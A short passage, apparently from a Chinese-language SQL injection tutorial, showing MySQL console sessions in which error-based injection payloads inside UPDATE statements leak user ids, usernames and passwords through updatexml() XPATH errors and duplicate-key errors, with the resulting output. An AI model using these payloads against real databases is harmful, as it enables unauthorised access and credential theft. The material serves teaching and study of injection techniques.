mysql> update users set username = 'test' or updatexml(2,concat(0x7e,(select concat_ws(0x7e,id,username,password) f
rom (select * from users)xx limit 0,1)),0) where id = 5;
ERROR 1105 (HY000): XPATH syntax error: '~1~test~root@localhost'

或者用主键重复的报错注入也可以

mysql> update users set username = 'test' and (SELECT 1 FROM(SELECT count(*),concat((SELECT (SELECT (SELECT concat_ws(0x7e,id,username,password) FROM users LIMIT 0,1) ) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a) and '' where id = 5;
ERROR 1062 (23000): Duplicate entry '1~0~root@localhost1' for key 'group_key'

当然我们之前也介绍过报错注入的姿势,用其他的报错语句同样可以达到效果。

参考文章


http://static.hx99.net/static/drops/tips-2078.html